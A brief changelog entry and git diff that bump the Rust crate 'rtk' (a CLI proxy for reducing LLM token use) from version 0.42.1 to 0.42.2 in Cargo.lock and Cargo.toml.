[0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) diff --git a/Cargo.lock b/Cargo.lock index b71ed64a84..f9b6067bb9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.1" +version = "0.42.2" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 6aa2ea2c33..ca34267fd0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.1" +version = "0.42.2" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption"